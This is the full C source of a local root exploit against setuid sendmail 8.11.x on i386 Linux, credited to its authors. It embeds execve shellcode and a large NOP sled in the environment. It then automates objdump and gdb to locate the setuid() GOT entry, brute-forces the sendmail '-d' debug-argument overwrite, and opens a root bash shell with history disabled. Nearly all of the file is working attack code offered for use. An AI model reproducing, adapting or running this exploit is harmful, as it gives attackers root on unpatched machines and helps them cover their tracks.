/*
 * sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 * fixed by Marcin Bukowski <insect@insect.hack.pl>
 *
 * <insect> I'll change, and fix this code requested by friend
 *          for him
 *
 * -d specify depth of analysis (32) [bigger = more time]
 * -o change offset (-32000) [between 1000..-64000]
 * -v specify victim (/usr/sbin/sendmail) [suided binary]
 * -t specify temp directory (/tmp/.s11x)
 *
 * simply try to run an exploit without parameters
 * ---------------------------------------------------------------
 *
 */



#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
#include <wait.h>
#include <sys/stat.h>

#define SM "/usr/sbin/sendmail"

#define OBJDUMP "objdump"

#define GDB "gdb"

#define GREP "grep"

#define COPYCMD "/bin/cp"

#define RMCMD "/bin/rm"

#define OURDIR "/tmp/.s11x"

#define DLINE \
"%s -d %s 2> /dev/null | %s -B %d \
\"mov.*%%.l,(%%e..,%%e..,1)\" |\
%s \".mov.*0x80.*,%%e..\""

#define DLINEA OBJDUMP, vict, GREP, depth, GREP

#define BRUTE_DLINE \
"%s -d %s 2> /dev/null | %s \
\".mov.*0x80.*,%%e..\""

#define BRUTE_DLINEA OBJDUMP, vict, GREP

#define NOPLEN 32768

#define NOP 0x90

char shellcode[] =
"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1\x89"
"\xe2\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff";

char scode[512];

char dvict[] = SM;

struct target {
 uint off;
 uint brk;
 uint vect;
};

unsigned int get_esp() {
 __asm__("movl %esp,%eax");
}

char ourdir[256] = OURDIR;

void giveup(int i) {
 char buf[256];
 sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null",
         RMCMD, ourdir);
 system(buf);
// printf("[*] removing temp directory - %s\n",
//  ourdir);
 if (i >= 0) exit(i);
}

void sploit(char *victim, uint got, uint vect, uint ret) {
 unsigned char egg[sizeof(scode) + NOPLEN + 5];
 char s[512] = "-d";
 char *argv[3];
 char *envp[2];
 uint first, last, i;

 strcpy(egg, "EGG=");
 memset(egg + 4, NOP, NOPLEN);
 strcpy(egg + 4 + NOPLEN, scode);
 last = first = -vect - (0xffffffff - got + 1);
 while (ret) {
  char tmp[256];
  i = ret & 0xff;
  sprintf(tmp, "%u-%u.%u-", first, last, i);
  strcat(s, tmp);
  last = ++first;
  ret = ret >> 8;
 }
 s[strlen(s) - 1] = 0;
 argv[0] = victim;
 argv[1] = s;
 argv[2] = NULL;
 envp[0] = egg;
 envp[1] = NULL;
 execve(victim, argv, envp);
}

int use(char *s) {
 printf("\n%s [command] [options]\n"
        "-h this help\n"
        "-d specify depth of analysis (32)\n"
        "-o change offset (-32000)\n"
        "-v specify victim (/usr/sbin/sendmail)\n"
        "-t specify temp directory (/tmp/.s11x)\n"
        "-b enables bruteforce (it can take 20-30 mins)\n", s);
 return 1;
}

int exploited = 0;

void sigusr(int i) {
 exploited++;
 giveup(-1);
}

int main(int argc, char *argv[]) {
 char victim[256] = SM;
 char vict[256],gscr[256],
      path[256],d[256],buf[256];
 struct stat st;
 FILE *f;
 struct target t[1024];
 uint off,ep,l;
 int i,j,got,esp;
 int offset = -16384;
 int depth = 32;
 int brute = 0;

 if (!*argv) {
  dup2(2, 0);
  dup2(2, 1);
  setuid(0);
  setgid(0);
  kill(getppid(), SIGUSR1);
  printf(
   "------(*)>+== "
   "ENTERING ROOT SHELL"
   " ==+<(*)------"
   );
  fflush(stdout);
  chdir("/");
  setenv("PATH",
   "/bin:/usr/bin:/usr/local/bin:"
   "/sbin:/usr/sbin:/usr/local/sbin:"
   "/opt/bin:${PATH}",1);
  setenv("BASH_HISTORY",
   "/dev/null", 1);
  execl("/bin/bash", "-bash", NULL);
 }
 printf(
  "  ------------------------------------------------\n"
  "   Sendmail 8.11.x linux i386 exploit  \n"
  "                  wroten by sd@sf.cz [sd@ircnet], \n"
  "                   fixed by insect@insect.hack.pl \n"
  "  ------------------------------------------------\n"
  "   type \"%s -h\" to get help\n",argv[0]
 );

while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
 switch (i) {
  case 'd':
   if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
    return use(argv[0]);
  break;
  case 'o':
   if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
    return use(argv[0]);
  break;
  case 'v':
   if (!optarg)
    return use(argv[0]);
   strcpy(victim,optarg);
  break;
  case 't':
   if (!optarg)
    return use(argv[0]);
   strcpy(ourdir, optarg);
  break;
  case 'b':
   brute++;
  break;
  case 'h':
  default:
   return use(argv[0]);
 }
}
 if (brute)
  printf(
   "[*] brute force "
   "to 20-30mins\n");
 path[0] = 0;
 if (argv[0][0] != '/') {
  getcwd(path, 256);
 }
 sprintf(scode, "%s%s/%s",
    shellcode, path, argv[0]);
 esp = get_esp();
 close(0);
 signal(SIGUSR1, sigusr);
 giveup(-1);
 printf(
  " [Victim=%s][Depth=%d][Offset=%d]\n"
  " [Temp=%s][Offset=%d][ESP=0x%08x]\n",
   victim, depth, offset, ourdir, esp
 );
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
 printf("[!] Error: %s doesn't have SUID mode\n",
        victim);
}
if (access(victim, R_OK + X_OK + F_OK) < 0) {
 printf("[!] Error: %s must exist, have mode +rx\n",
        victim);
}
if (mkdir(ourdir, 0777) < 0) {
 perror("[!] Error: creating temporary directory\n");
 giveup(1);
}
//printf("[*] creating temp directory - %s\n",
//      ourdir);
sprintf(buf, "%s -R %s | %s setuid",
        OBJDUMP, victim, GREP);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
 pclose(f);
 printf("[!] Error: cannot get "
        "setuid() GOT\n");
 giveup(1);
}
 pclose(f);
 printf("[*] --> Step 1. setuid() "
        "[got=0x%08x]\n", got);
 sprintf(vict, "%s/sm", ourdir);
 printf("[*] --> Step 2. copy "
        "[%s->%s]\n", victim, vict);
 fflush(stdout);
 sprintf(buf, "%s -f %s %s",
         COPYCMD, victim, vict);
 system(buf);
 if (access(vict,R_OK+X_OK+F_OK)<0){
  printf(
   "[!] Error: copy victim to out temp\n");
  giveup(1);
 }

 printf(
    "[*] --> Step 3. disassm our "
    "[%s]\n", vict);
 fflush(stdout);
 if (!brute) {
  sprintf(buf,DLINE,DLINEA);
 } else {
  sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
 }
 f = popen(buf, "r");
 i = 0;
 while (fgets(buf,256,f)) {
  int k, dontadd=0;
  if (sscanf(buf,
       "%x: %s %s %s %s %s %s 0x%x,%s\n",
        &ep,d,d,d,d,d,d,&off,d)==9){
   for (k=0;k<i;k++){
    if (t[k].off==off)
     dontadd++;
   }
   if (!dontadd) {
    t[i].off = off;
    t[i++].brk = ep;
   }
  }
 }
 pclose(f);
 sprintf(gscr, "%s/gdb", ourdir);
 off = 0;
 for (j=0; j < i; j++) {
  f = fopen(gscr, "w+");
  if (!f) {
   printf("[!] Error: Cannot create gdb script\n");
   giveup(1);
  }
  fprintf(f,
    "break *0x%x\nr -d1-1.1\nx/x 0x%x\n",
    t[j].brk, t[j].off);
  fclose(f);
  sprintf(buf,
    "%s -batch -x %s %s 2> /dev/null",
    GDB, gscr, vict);
  f = popen(buf, "r");
  if (!f) {
   printf("[!] Error: Failed to spawn gdb!\n");
   giveup(1);
  }
  while (1) {
   char buf[256];
   char *p;
   t[j].vect = 0;
   p = fgets(buf, 256, f);
   if (!p) break;
   if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
    t[j].vect = l;
    off++;
    break;
   }
  }
  pclose(f);
  if (t[j].vect) {
   int pid;
   printf(" ++[%d/%d](%d%%) "
          "GOT=0x%08x,VECT=0x%08x,"
          "OFF=%d\n", j, i, j*100/i,
          got, t[j].vect, offset);
   fflush(stdout);
   pid = fork();
   if (pid == 0) {
    close(1);
    sploit(victim,got,t[j].vect,esp+offset);
   }
   wait(NULL);
   if (exploited) {
    wait(NULL);
    printf("        [-*-] We rule! BYE! [-*-]\n");
    exit(0);
   }
  }
 }
 printf(
  "[!] ERROR: all targets failed,"
  "probably not buggie\n");
 giveup(1);
}

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